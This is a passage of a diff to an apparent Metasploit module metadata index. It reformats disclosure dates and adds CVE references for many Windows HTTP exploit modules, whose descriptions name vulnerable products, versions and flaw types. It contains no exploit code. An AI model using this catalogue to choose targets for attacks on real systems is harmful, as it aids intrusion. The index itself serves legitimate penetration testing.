"rank": 600, - "disclosure_date": "2011-07-25 00:00:00 -0500", + "disclosure_date": "2011-07-25", "type": "exploit", "author": [ "bannedit ", @@ -68925,7 +66900,7 @@ "name": "CA iTechnology iGateway Debug Mode Buffer Overflow", "full_name": "exploit/windows/http/ca_igateway_debug", "rank": 200, - "disclosure_date": "2005-10-06 00:00:00 -0500", + "disclosure_date": "2005-10-06", "type": "exploit", "author": [ "aushack " @@ -68955,7 +66930,7 @@ "name": "CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection", "full_name": "exploit/windows/http/ca_totaldefense_regeneratereports", "rank": 600, - "disclosure_date": "2011-04-13 00:00:00 -0500", + "disclosure_date": "2011-04-13", "type": "exploit", "author": [ "MC " @@ -68983,7 +66958,7 @@ "name": "Cogent DataHub Command Injection", "full_name": "exploit/windows/http/cogent_datahub_command", "rank": 0, - "disclosure_date": "2014-04-29 00:00:00 -0500", + "disclosure_date": "2014-04-29", "type": "exploit", "author": [ "John Leitch", @@ -69012,7 +66987,7 @@ "name": "Cogent DataHub HTTP Server Buffer Overflow", "full_name": "exploit/windows/http/cogent_datahub_request_headers_bof", "rank": 300, - "disclosure_date": "2013-07-26 00:00:00 -0500", + "disclosure_date": "2013-07-26", "type": "exploit", "author": [ "rgod ", @@ -69020,6 +66995,7 @@ ], "description": "This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The\n vulnerability exists in the HTTP server. While handling HTTP headers, a\n strncpy() function is used in a dangerous way. This module has been tested\n successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.", "references": [ + "CVE-2013-0680", "OSVDB-95819", "BID-53455", "ZDI-13-178", @@ -69042,7 +67018,7 @@ "name": "ColdFusion 8.0.1 Arbitrary File Upload and Execute", "full_name": "exploit/windows/http/coldfusion_fckeditor", "rank": 600, - "disclosure_date": "2009-07-03 00:00:00 -0500", + "disclosure_date": "2009-07-03", "type": "exploit", "author": [ "MC " @@ -69069,7 +67045,7 @@ "name": "Cyclope Employee Surveillance Solution v6 SQL Injection", "full_name": "exploit/windows/http/cyclope_ess_sqli", "rank": 600, - "disclosure_date": "2012-08-08 00:00:00 -0500", + "disclosure_date": "2012-08-08", "type": "exploit", "author": [ "loneferret", @@ -69097,7 +67073,7 @@ "name": "ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload", "full_name": "exploit/windows/http/desktopcentral_file_upload", "rank": 600, - "disclosure_date": "2013-11-11 00:00:00 -0600", + "disclosure_date": "2013-11-11", "type": "exploit", "author": [ "Thomas Hibbert " @@ -69126,7 +67102,7 @@ "name": "ManageEngine Desktop Central StatusUpdate Arbitrary File Upload", "full_name": "exploit/windows/http/desktopcentral_statusupdate_upload", "rank": 600, - "disclosure_date": "2014-08-31 00:00:00 -0500", + "disclosure_date": "2014-08-31", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -69154,7 +67130,7 @@ "name": "Disk Pulse Enterprise Login Buffer Overflow", "full_name": "exploit/windows/http/disk_pulse_enterprise_bof", "rank": 600, - "disclosure_date": "2016-10-03 00:00:00 -0500", + "disclosure_date": "2016-10-03", "type": "exploit", "author": [ "Chris Higgins", @@ -69181,7 +67157,7 @@ "name": "Disk Pulse Enterprise GET Buffer Overflow", "full_name": "exploit/windows/http/disk_pulse_enterprise_get", "rank": 600, - "disclosure_date": "2017-08-25 00:00:00 -0500", + "disclosure_date": "2017-08-25", "type": "exploit", "author": [ "Chance Johnson", @@ -69208,7 +67184,7 @@ "name": "DiskBoss Enterprise GET Buffer Overflow", "full_name": "exploit/windows/http/diskboss_get_bof", "rank": 600, - "disclosure_date": "2016-12-05 00:00:00 -0600", + "disclosure_date": "2016-12-05", "type": "exploit", "author": [ "vportal", @@ -69241,7 +67217,7 @@ "name": "DiskSavvy Enterprise GET Buffer Overflow", "full_name": "exploit/windows/http/disksavvy_get_bof", "rank": 600, - "disclosure_date": "2016-12-01 00:00:00 -0600", + "disclosure_date": "2016-12-01", "type": "exploit", "author": [ "vportal", @@ -69249,6 +67225,7 @@ ], "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,\n caused by improper bounds checking of the request path in HTTP GET\n requests sent to the built-in web server. This module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", "references": [ + "CVE-2017-6187", "EDB-40869" ], "is_server": true, @@ -69270,14 +67247,14 @@ "name": "Disk Sorter Enterprise GET Buffer Overflow", "full_name": "exploit/windows/http/disksorter_bof", "rank": 500, - "disclosure_date": "2017-03-15 00:00:00 -0500", + "disclosure_date": "2017-03-15", "type": "exploit", "author": [ "Daniel Teixeira" ], "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of Disk Sorter Enterprise v9.5.12, caused by\n improper bounds checking of the request path in HTTP GET requests\n sent to the built-in web server. This module has been tested\n successfully on Windows 7 SP1 x86.", "references": [ - + "CVE-2017-7230" ], "is_server": true, "is_client": false, @@ -69296,7 +67273,7 @@ "name": "Dup Scout Enterprise Login Buffer Overflow", "full_name": "exploit/windows/http/dup_scout_enterprise_login_bof", "rank": 600, - "disclosure_date": "2017-11-14 00:00:00 -0600", + "disclosure_date": "2017-11-14", "type": "exploit", "author": [ "Chris Higgins", @@ -69304,6 +67281,7 @@ ], "description": "This module exploits a stack buffer overflow in Dup Scout Enterprise\n 10.0.18. The buffer overflow exists via the web interface during\n login. This gives NT AUTHORITY\\SYSTEM access.", "references": [ + "CVE-2017-13696", "EDB-43145" ], "is_server": true, @@ -69323,7 +67301,7 @@ "name": "Dup Scout Enterprise GET Buffer Overflow", "full_name": "exploit/windows/http/dupscts_bof", "rank": 500, - "disclosure_date": "2017-03-15 00:00:00 -0500", + "disclosure_date": "2017-03-15", "type": "exploit", "author": [ "vportal", @@ -69350,7 +67328,7 @@ "name": "Easy Chat Server User Registeration Buffer Overflow (SEH)", "full_name": "exploit/windows/http/easychatserver_seh", "rank": 300, - "disclosure_date": "2017-10-09 00:00:00 -0500", + "disclosure_date": "2017-10-09", "type": "exploit", "author": [ "Marco Rivoli", @@ -69377,7 +67355,7 @@ "name": "Easy File Sharing HTTP Server 7.2 POST Buffer Overflow", "full_name": "exploit/windows/http/easyfilesharing_post", "rank": 300, - "disclosure_date": "2017-06-12 00:00:00 -0500", + "disclosure_date": "2017-06-12", "type": "exploit", "author": [ "bl4ck h4ck3r", @@ -69404,7 +67382,7 @@ "name": "Easy File Sharing HTTP Server 7.2 SEH Overflow", "full_name": "exploit/windows/http/easyfilesharing_seh", "rank": 300, - "disclosure_date": "2015-12-02 00:00:00 -0600", + "disclosure_date": "2015-12-02", "type": "exploit", "author": [ "Starwarsfan2099 " @@ -69430,7 +67408,7 @@ "name": "EasyFTP Server list.html path Stack Buffer Overflow", "full_name": "exploit/windows/http/easyftp_list", "rank": 500, - "disclosure_date": "2010-02-18 00:00:00 -0600", + "disclosure_date": "2010-02-18", "type": "exploit", "author": [ "ThE g0bL!N", @@ -69458,7 +67436,7 @@ "name": "Novell eDirectory NDS Server Host Header Overflow", "full_name": "exploit/windows/http/edirectory_host", "rank": 500, - "disclosure_date": "2006-10-21 00:00:00 -0500", + "disclosure_date": "2006-10-21", "type": "exploit", "author": [ "MC " @@ -69486,7 +67464,7 @@ "name": "eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow", "full_name": "exploit/windows/http/edirectory_imonitor", "rank": 500, - "disclosure_date": "2005-08-11 00:00:00 -0500", + "disclosure_date": "2005-08-11", "type": "exploit", "author": [ "Unknown", @@ -69515,7 +67493,7 @@ "name": "EFS Easy Chat Server Authentication Request Handling Buffer Overflow", "full_name": "exploit/windows/http/efs_easychatserver_username", "rank": 500, - "disclosure_date": "2007-08-14 00:00:00 -0500", + "disclosure_date": "2007-08-14", "type": "exploit", "author": [ "LSO ", @@ -69547,7 +67525,7 @@ "name": "Easy File Management Web Server Stack Buffer Overflow", "full_name": "exploit/windows/http/efs_fmws_userid_bof", "rank": 300, - "disclosure_date": "2014-05-20 00:00:00 -0500", + "disclosure_date": "2014-05-20", "type": "exploit", "author": [ "superkojiman", @@ -69556,6 +67534,7 @@ ], "description": "Easy File Management Web Server v4.0 and v5.3 contains a stack buffer\n overflow condition that is triggered as user-supplied input is not\n properly validated when handling the UserID cookie. This may allow a\n remote attacker to execute arbitrary code.", "references": [ + "CVE-2014-3791", "OSVDB-107241", "EDB-33610", "BID-67542", @@ -69581,7 +67560,7 @@ "name": "Ektron 8.02 XSLT Transform Remote Code Execution", "full_name": "exploit/windows/http/ektron_xslt_exec", "rank": 600, - "disclosure_date": "2012-10-16 00:00:00 -0500", + "disclosure_date": "2012-10-16", "type": "exploit", "author": [ "Rich Lundeen", @@ -69612,7 +67591,7 @@ "name": "Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution", "full_name": "exploit/windows/http/ektron_xslt_exec_ws", "rank": 600, - "disclosure_date": "2015-02-05 00:00:00 -0600", + "disclosure_date": "2015-02-05", "type": "exploit", "author": [ "catatonicprime" @@ -69640,7 +67619,7 @@ "name": "Ericom AccessNow Server Buffer Overflow", "full_name": "exploit/windows/http/ericom_access_now_bof", "rank": 300, - "disclosure_date": "2014-06-02 00:00:00 -0500", + "disclosure_date": "2014-06-02", "type": "exploit", "author": [ "Unknown", @@ -69670,7 +67649,7 @@ "name": "EZHomeTech EzServer Stack Buffer Overflow Vulnerability", "full_name": "exploit/windows/http/ezserver_http", "rank": 600, - "disclosure_date": "2012-06-18 00:00:00 -0500", + "disclosure_date": "2012-06-18", "type": "exploit", "author": [ "modpr0be " @@ -69699,7 +67678,7 @@ "name": "Free Download Manager Remote Control Server Buffer Overflow", "full_name": "exploit/windows/http/fdm_auth_header", "rank": 500, - "disclosure_date": "2009-02-02 00:00:00 -0600", + "disclosure_date": "2009-02-02", "type": "exploit", "author": [ "MC " @@ -69726,7 +67705,7 @@ "name": "Generic Web Application DLL Injection", "full_name": "exploit/windows/http/generic_http_dll_injection", "rank": 0, - "disclosure_date": "2015-03-04 00:00:00 -0600", + "disclosure_date": "2015-03-04", "type": "exploit", "author": [ "Matthew Hall " @@ -69753,7 +67732,7 @@ "name": "Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE", "full_name": "exploit/windows/http/geutebrueck_gcore_x64_rce_bo", "rank": 300, - "disclosure_date": "2017-01-24 00:00:00 -0600", + "disclosure_date": "2017-01-24", "type": "exploit", "author": [ "Luca Cappiello", @@ -69784,7 +67763,7 @@ "name": "GitStack Unsanitized Argument RCE", "full_name": "exploit/windows/http/gitstack_rce", "rank": 500, - "disclosure_date": "2018-01-15 00:00:00 -0600", + "disclosure_date": "2018-01-15", "type": "exploit", "author": [ "Kacper Szurek", @@ -69814,7 +67793,7 @@ "name": "HP AutoPass License Server File Upload", "full_name": "exploit/windows/http/hp_autopass_license_traversal", "rank": 500, - "disclosure_date": "2014-01-10 00:00:00 -0600", + "disclosure_date": "2014-01-10", "type": "exploit", "author": [ "rgod ", @@ -69847,7 +67826,7 @@ "name": "HP Intelligent Management Center BIMS UploadServlet Directory Traversal", "full_name": "exploit/windows/http/hp_imc_bims_upload", "rank": 600, - "disclosure_date": "2013-10-08 00:00:00 -0500", + "disclosure_date": "2013-10-08", "type": "exploit", "author": [ "rgod ", @@ -69878,7 +67857,7 @@ "name": "HP Intelligent Management Center Arbitrary File Upload", "full_name": "exploit/windows/http/hp_imc_mibfileupload", "rank": 500, - "disclosure_date": "2013-03-07 00:00:00 -0600", + "disclosure_date": "2013-03-07", "type": "exploit", "author": [ "rgod ", @@ -69909,7 +67888,7 @@ "name": "HP LoadRunner EmulationAdmin Web Service Directory Traversal", "full_name": "exploit/windows/http/hp_loadrunner_copyfiletoserver", "rank": 600, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "rgod ", @@ -69940,7 +67919,7 @@ "name": "HP Managed Printing Administration jobAcct Remote Command Execution", "full_name": "exploit/windows/http/hp_mpa_job_acct", "rank": 600, - "disclosure_date": "2011-12-21 00:00:00 -0600", + "disclosure_date": "2011-12-21", "type": "exploit", "author": [ "Andrea Micalizzi", @@ -69971,7 +67950,7 @@ "name": "HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_getnnmdata_hostname", "rank": 500, - "disclosure_date": "2010-05-11 00:00:00 -0500", + "disclosure_date": "2010-05-11", "type": "exploit", "author": [ "MC " @@ -69999,7 +67978,7 @@ "name": "HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_getnnmdata_icount", "rank": 500, - "disclosure_date": "2010-05-11 00:00:00 -0500", + "disclosure_date": "2010-05-11", "type": "exploit", "author": [ "MC " @@ -70027,7 +68006,7 @@ "name": "HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_getnnmdata_maxage", "rank": 500, - "disclosure_date": "2010-05-11 00:00:00 -0500", + "disclosure_date": "2010-05-11", "type": "exploit", "author": [ "MC " @@ -70055,7 +68034,7 @@ "name": "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_nnmrptconfig_nameparams", "rank": 300, - "disclosure_date": "2011-01-10 00:00:00 -0600", + "disclosure_date": "2011-01-10", "type": "exploit", "author": [ "sinn3r ", @@ -70086,7 +68065,7 @@ "name": "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_nnmrptconfig_schdparams", "rank": 300, - "disclosure_date": "2011-01-10 00:00:00 -0600", + "disclosure_date": "2011-01-10", "type": "exploit", "author": [ "sinn3r " @@ -70114,7 +68093,7 @@ "name": "HP OpenView Network Node Manager OpenView5.exe CGI Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_openview5", "rank": 500, - "disclosure_date": "2007-12-06 00:00:00 -0600", + "disclosure_date": "2007-12-06", "type": "exploit", "author": [ "MC " @@ -70142,7 +68121,7 @@ "name": "HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_ovalarm_lang", "rank": 500, - "disclosure_date": "2009-12-09 00:00:00 -0600", + "disclosure_date": "2009-12-09", "type": "exploit", "author": [ "jduck " @@ -70173,7 +68152,7 @@ "name": "HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_ovas", "rank": 400, - "disclosure_date": "2008-04-02 00:00:00 -0500", + "disclosure_date": "2008-04-02", "type": "exploit", "author": [ "bannedit ", @@ -70204,7 +68183,7 @@ "name": "HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_ovbuildpath_textfile", "rank": 300, - "disclosure_date": "2011-11-01 00:00:00 -0500", + "disclosure_date": "2011-11-01", "type": "exploit", "author": [ "Anyway ", @@ -70236,7 +68215,7 @@ "name": "HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_ovwebhelp", "rank": 500, - "disclosure_date": "2009-12-09 00:00:00 -0600", + "disclosure_date": "2009-12-09", "type": "exploit", "author": [ "MC " @@ -70264,7 +68243,7 @@ "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe main Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_main", "rank": 500, - "disclosure_date": "2010-06-16 00:00:00 -0500", + "disclosure_date": "2010-06-16", "type": "exploit", "author": [ "jduck " @@ -70295,7 +68274,7 @@ "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe ovutil Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_ovutil", "rank": 500, - "disclosure_date": "2010-06-16 00:00:00 -0500", + "disclosure_date": "2010-06-16", "type": "exploit", "author": [ "jduck " @@ -70327,7 +68306,7 @@ "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_uro", "rank": 500, - "disclosure_date": "2010-06-08 00:00:00 -0500", + "disclosure_date": "2010-06-08", "type": "exploit", "author": [ "jduck " @@ -70357,7 +68336,7 @@ "name": "HP OpenView Network Node Manager Snmp.exe CGI Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_snmp", "rank": 500, - "disclosure_date": "2009-12-09 00:00:00 -0600", + "disclosure_date": "2009-12-09", "type": "exploit", "author": [ "MC " @@ -70384,7 +68363,7 @@ "name": "HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_snmpviewer_actapp", "rank": 500, - "disclosure_date": "2010-05-11 00:00:00 -0500", + "disclosure_date": "2010-05-11", "type": "exploit", "author": [ "jduck " @@ -70416,7 +68395,7 @@ "name": "HP OpenView Network Node Manager Toolbar.exe CGI Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_toolbar_01", "rank": 500, - "disclosure_date": "2009-01-07 00:00:00 -0600", + "disclosure_date": "2009-01-07", "type": "exploit", "author": [ "MC " @@ -70444,7 +68423,7 @@ "name": "HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_toolbar_02", "rank": 300, - "disclosure_date": "2009-01-21 00:00:00 -0600", + "disclosure_date": "2009-01-21", "type": "exploit", "author": [ "Oren Isacson", @@ -70477,7 +68456,7 @@ "name": "HP OpenView Network Node Manager execvp_nc Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_webappmon_execvp", "rank": 500, - "disclosure_date": "2010-07-20 00:00:00 -0500", + "disclosure_date": "2010-07-20", "type": "exploit", "author": [ "Shahin Ramezany ", @@ -70512,7 +68491,7 @@ "name": "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow", "full_name": "exploit/windows/http/hp_nnm_webappmon_ovjavalocale", "rank": 500, - "disclosure_date": "2010-08-03 00:00:00 -0500", + "disclosure_date": "2010-08-03", "type": "exploit", "author": [ "Nahuel Riva", @@ -70547,7 +68526,7 @@ "name": "HP OpenView Performance Insight Server Backdoor Account Code Execution", "full_name": "exploit/windows/http/hp_openview_insight_backdoor", "rank": 600, - "disclosure_date": "2011-01-31 00:00:00 -0600", + "disclosure_date": "2011-01-31", "type": "exploit", "author": [ "MC " @@ -70574,7 +68553,7 @@ "name": "HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload", "full_name": "exploit/windows/http/hp_pcm_snac_update_certificates", "rank": 600, - "disclosure_date": "2013-09-09 00:00:00 -0500", + "disclosure_date": "2013-09-09", "type": "exploit", "author": [ "rgod ", @@ -70604,7 +68583,7 @@ "name": "HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload", "full_name": "exploit/windows/http/hp_pcm_snac_update_domain", "rank": 600, - "disclosure_date": "2013-09-09 00:00:00 -0500", + "disclosure_date": "2013-09-09", "type": "exploit", "author": [ "rgod ", @@ -70634,7 +68613,7 @@ "name": "HP Power Manager 'formExportDataLogs' Buffer Overflow", "full_name": "exploit/windows/http/hp_power_manager_filename", "rank": 300, - "disclosure_date": "2011-10-19 00:00:00 -0500", + "disclosure_date": "2011-10-19", "type": "exploit", "author": [ "Alin Rad Pop", @@ -70664,7 +68643,7 @@ "name": "Hewlett-Packard Power Manager Administration Buffer Overflow", "full_name": "exploit/windows/http/hp_power_manager_login", "rank": 200, - "disclosure_date": "2009-11-04 00:00:00 -0600", + "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "MC ", @@ -70692,7 +68671,7 @@ "name": "HP SiteScope DNS Tool Command Injection", "full_name": "exploit/windows/http/hp_sitescope_dns_tool", "rank": 400, - "disclosure_date": "2015-10-09 00:00:00 -0500", + "disclosure_date": "2015-10-09", "type": "exploit", "author": [ "Kirk Hayes", @@ -70722,7 +68701,7 @@ "name": "HP SiteScope Remote Code Execution", "full_name": "exploit/windows/http/hp_sitescope_runomagentcommand", "rank": 0, - "disclosure_date": "2013-07-29 00:00:00 -0500", + "disclosure_date": "2013-07-29", "type": "exploit", "author": [ "rgod ", @@ -70752,7 +68731,7 @@ "name": "HTTPDX h_handlepeer() Function Buffer Overflow", "full_name": "exploit/windows/http/httpdx_handlepeer", "rank": 500, - "disclosure_date": "2009-10-08 00:00:00 -0500", + "disclosure_date": "2009-10-08", "type": "exploit", "author": [ "Pankaj Kohli ", @@ -70784,7 +68763,7 @@ "name": "HTTPDX tolog() Function Format String Vulnerability", "full_name": "exploit/windows/http/httpdx_tolog_format", "rank": 500, - "disclosure_date": "2009-11-17 00:00:00 -0600", + "disclosure_date": "2009-11-17", "type": "exploit", "author": [ "jduck " @@ -70817,7 +68796,7 @@ "name": "IA WebMail 3.x Buffer Overflow", "full_name": "exploit/windows/http/ia_webmail", "rank": 200, - "disclosure_date": "2003-11-03 00:00:00 -0600", + "disclosure_date": "2003-11-03", "type": "exploit", "author": [ "hdm " @@ -70846,7 +68825,7 @@ "name": "IBM Tivoli Endpoint Manager POST Query Buffer Overflow", "full_name": "exploit/windows/http/ibm_tivoli_endpoint_bof", "rank": 400, - "disclosure_date": "2011-05-31 00:00:00 -0500", + "disclosure_date": "2011-05-31", "type": "exploit", "author": [ "bannedit ", @@ -70880,7 +68859,7 @@ "name": "IBM TPM for OS Deployment 5.1.0.x rembo.exe Buffer Overflow", "full_name": "exploit/windows/http/ibm_tpmfosd_overflow", "rank": 400, - "disclosure_date": "2007-05-02 00:00:00 -0500", + "disclosure_date": "2007-05-02", "type": "exploit", "author": [ "toto" @@ -70910,7 +68889,7 @@ "name": "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow", "full_name": "exploit/windows/http/ibm_tsm_cad_header", "rank": 400, - "disclosure_date": "2007-09-24 00:00:00 -0500", + "disclosure_date": "2007-09-24", "type": "exploit", "author": [ "MC " @@ -70938,7 +68917,7 @@ "name": "Icecast Header Overwrite", "full_name": "exploit/windows/http/icecast_header", "rank": 500, - "disclosure_date": "2004-09-28 00:00:00 -0500", + "disclosure_date": "2004-09-28", "type": "exploit", "author": [ "spoonm ", @@ -70968,7 +68947,7 @@ "name": "Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow", "full_name": "exploit/windows/http/integard_password_bof", "rank": 500, - "disclosure_date": "2010-09-07 00:00:00 -0500", + "disclosure_date": "2010-09-07", "type": "exploit", "author": [ "Lincoln", @@ -71001,7 +68980,7 @@ "name": "InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow", "full_name": "exploit/windows/http/intersystems_cache", "rank": 500, - "disclosure_date": "2009-09-29 00:00:00 -0500", + "disclosure_date": "2009-09-29", "type": "exploit", "author": [ "MC " @@ -71028,7 +69007,7 @@ "name": "Intrasrv 1.0 Buffer Overflow", "full_name": "exploit/windows/http/intrasrv_bof", "rank": 0, - "disclosure_date": "2013-05-30 00:00:00 -0500", + "disclosure_date": "2013-05-30", "type": "exploit", "author": [ "xis_one", @@ -71057,7 +69036,7 @@ "name": "Ipswitch WhatsUp Gold 8.03 Buffer Overflow", "full_name": "exploit/windows/http/ipswitch_wug_maincfgret", "rank": 500, - "disclosure_date": "2004-08-25 00:00:00 -0500", + "disclosure_date": "2004-08-25", "type": "exploit", "author": [ "MC " @@ -71085,7 +69064,7 @@ "name": "JIRA Issues Collector Directory Traversal", "full_name": "exploit/windows/http/jira_collector_traversal", "rank": 300, - "disclosure_date": "2014-02-26 00:00:00 -0600", + "disclosure_date": "2014-02-26", "type": "exploit", "author": [ "Philippe Arteau", @@ -71116,7 +69095,7 @@ "name": "Kaseya VSA uploader.aspx Arbitrary File Upload", "full_name": "exploit/windows/http/kaseya_uploader", "rank": 600, - "disclosure_date": "2015-09-23 00:00:00 -0500", + "disclosure_date": "2015-09-23", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -71145,7 +69124,7 @@ "name": "Kaseya uploadImage Arbitrary File Upload", "full_name": "exploit/windows/http/kaseya_uploadimage_file_upload", "rank": 600, - "disclosure_date": "2013-11-11 00:00:00 -0600", + "disclosure_date": "2013-11-11", "type": "exploit", "author": [ "Thomas Hibbert " @@ -71174,7 +69153,7 @@ "name": "Kolibri HTTP Server HEAD Buffer Overflow", "full_name": "exploit/windows/http/kolibri_http", "rank": 400, - "disclosure_date": "2010-12-26 00:00:00 -0600", + "disclosure_date": "2010-12-26", "type": "exploit", "author": [ "mr_me ", @@ -71206,7 +69185,7 @@ "name": "LANDesk Lenovo ThinkManagement Console Remote Command Execution", "full_name": "exploit/windows/http/landesk_thinkmanagement_upload_asp", "rank": 600, - "disclosure_date": "2012-02-15 00:00:00 -0600", + "disclosure_date": "2012-02-15", "type": "exploit", "author": [ "Andrea Micalizzi", @@ -71239,7 +69218,7 @@ "name": "Lexmark MarkVision Enterprise Arbitrary File Upload", "full_name": "exploit/windows/http/lexmark_markvision_gfd_upload", "rank": 600, - "disclosure_date": "2014-12-09 00:00:00 -0600", + "disclosure_date": "2014-12-09", "type": "exploit", "author": [ "Andrea Micalizzi", @@ -71268,7 +69247,7 @@ "name": "MailEnable Authorization Header Buffer Overflow", "full_name": "exploit/windows/http/mailenable_auth_header", "rank": 500, - "disclosure_date": "2005-04-24 00:00:00 -0500", + "disclosure_date": "2005-04-24", "type": "exploit", "author": [ "David Maciejak " @@ -71298,7 +69277,7 @@ "name": "ManageEngine OpManager Remote Code Execution", "full_name": "exploit/windows/http/manage_engine_opmanager_rce", "rank": 0, - "disclosure_date": "2015-09-14 00:00:00 -0500", + "disclosure_date": "2015-09-14", "type": "exploit", "author": [ "xistence " @@ -71328,7 +69307,7 @@ "name": "Manage Engine Exchange Reporter Plus Unauthenticated RCE", "full_name": "exploit/windows/http/manageengine_adshacluster_rce", "rank": 600, - "disclosure_date": "2018-06-28 00:00:00 +0000", + "disclosure_date": "2018-06-28", "type": "exploit", "author": [ "Kacper Szurek " @@ -71354,7 +69333,7 @@ "name": "ManageEngine Applications Manager Remote Code Execution", "full_name": "exploit/windows/http/manageengine_appmanager_exec", "rank": 600, - "disclosure_date": "2018-03-07 00:00:00 -0600", + "disclosure_date": "2018-03-07", "type": "exploit", "author": [ "Mehmet Ince " @@ -71383,7 +69362,7 @@ "name": "ManageEngine Applications Manager Authenticated Code Execution", "full_name": "exploit/windows/http/manageengine_apps_mngr", "rank": 200, - "disclosure_date": "2011-04-08 00:00:00 -0500", + "disclosure_date": "2011-04-08", "type": "exploit", "author": [ "Jacob Giannantonio " @@ -71409,7 +69388,7 @@ "name": "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability", "full_name": "exploit/windows/http/manageengine_connectionid_write", "rank": 600, - "disclosure_date": "2015-12-14 00:00:00 -0600", + "disclosure_date": "2015-12-14", "type": "exploit", "author": [ "sinn3r " @@ -71436,7 +69415,7 @@ "name": "MaxDB WebDBM Database Parameter Overflow", "full_name": "exploit/windows/http/maxdb_webdbm_database", "rank": 400, - "disclosure_date": "2006-08-29 00:00:00 -0500", + "disclosure_date": "2006-08-29", "type": "exploit", "author": [ "MC " @@ -71465,7 +69444,7 @@ "name": "MaxDB WebDBM GET Buffer Overflow", "full_name": "exploit/windows/http/maxdb_webdbm_get_overflow", "rank": 400, - "disclosure_date": "2005-04-26 00:00:00 -0500", + "disclosure_date": "2005-04-26", "type": "exploit", "author": [ "hdm " @@ -71498,7 +69477,7 @@ "name": "McAfee ePolicy Orchestrator / ProtectionPilot Overflow", "full_name": "exploit/windows/http/mcafee_epolicy_source", "rank": 200, - "disclosure_date": "2006-07-17 00:00:00 -0500", + "disclosure_date": "2006-07-17", "type": "exploit", "author": [ "muts ", @@ -71532,7 +69511,7 @@ "name": "MDaemon WorldClient form2raw.cgi Stack Buffer Overflow", "full_name": "exploit/windows/http/mdaemon_worldclient_form2raw", "rank": 500, - "disclosure_date": "2003-12-29 00:00:00 -0600", + "disclosure_date": "2003-12-29", "type": "exploit", "author": [ "aushack " @@ -71561,7 +69540,7 @@ "name": "Minishare 1.4.1 Buffer Overflow", "full_name": "exploit/windows/http/minishare_get_overflow", "rank": 200, - "disclosure_date": "2004-11-07 00:00:00 -0600", + "disclosure_date": "2004-11-07", "type": "exploit", "author": [ "acaro " @@ -71602,7 +69581,7 @@ "name": "MiniWeb (Build 300) Arbitrary File Upload", "full_name": "exploit/windows/http/miniweb_upload_wbem", "rank": 600, - "disclosure_date": "2013-04-09 00:00:00 -0500", + "disclosure_date": "2013-04-09", "type": "exploit", "author": [ "AkaStep", @@ -71631,7 +69610,7 @@ "name": "NaviCOPA 2.0.1 URL Handling Buffer Overflow", "full_name": "exploit/windows/http/navicopa_get_overflow", "rank": 500, - "disclosure_date": "2006-09-28 00:00:00 -0500", + "disclosure_date": "2006-09-28", "type": "exploit", "author": [ "MC " @@ -71659,7 +69638,7 @@ "name": "NetDecision 4.5.1 HTTP Server Buffer Overflow", "full_name": "exploit/windows/http/netdecision_http_bof", "rank": 300, - "disclosure_date": "2012-02-24 00:00:00 -0600", + "disclosure_date": "2012-02-24", "type": "exploit", "author": [ "Prabhu S Angadi", @@ -71689,7 +69668,7 @@ "name": "NETGEAR ProSafe Network Management System 300 Arbitrary File Upload", "full_name": "exploit/windows/http/netgear_nms_rce", "rank": 600, - "disclosure_date": "2016-02-04 00:00:00 -0600", + "disclosure_date": "2016-02-04", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -71718,7 +69697,7 @@ "name": "Novell iManager getMultiPartParameters Arbitrary File Upload", "full_name": "exploit/windows/http/novell_imanager_upload", "rank": 600, - "disclosure_date": "2010-10-01 00:00:00 -0500", + "disclosure_date": "2010-10-01", "type": "exploit", "author": [ "jduck " @@ -71746,7 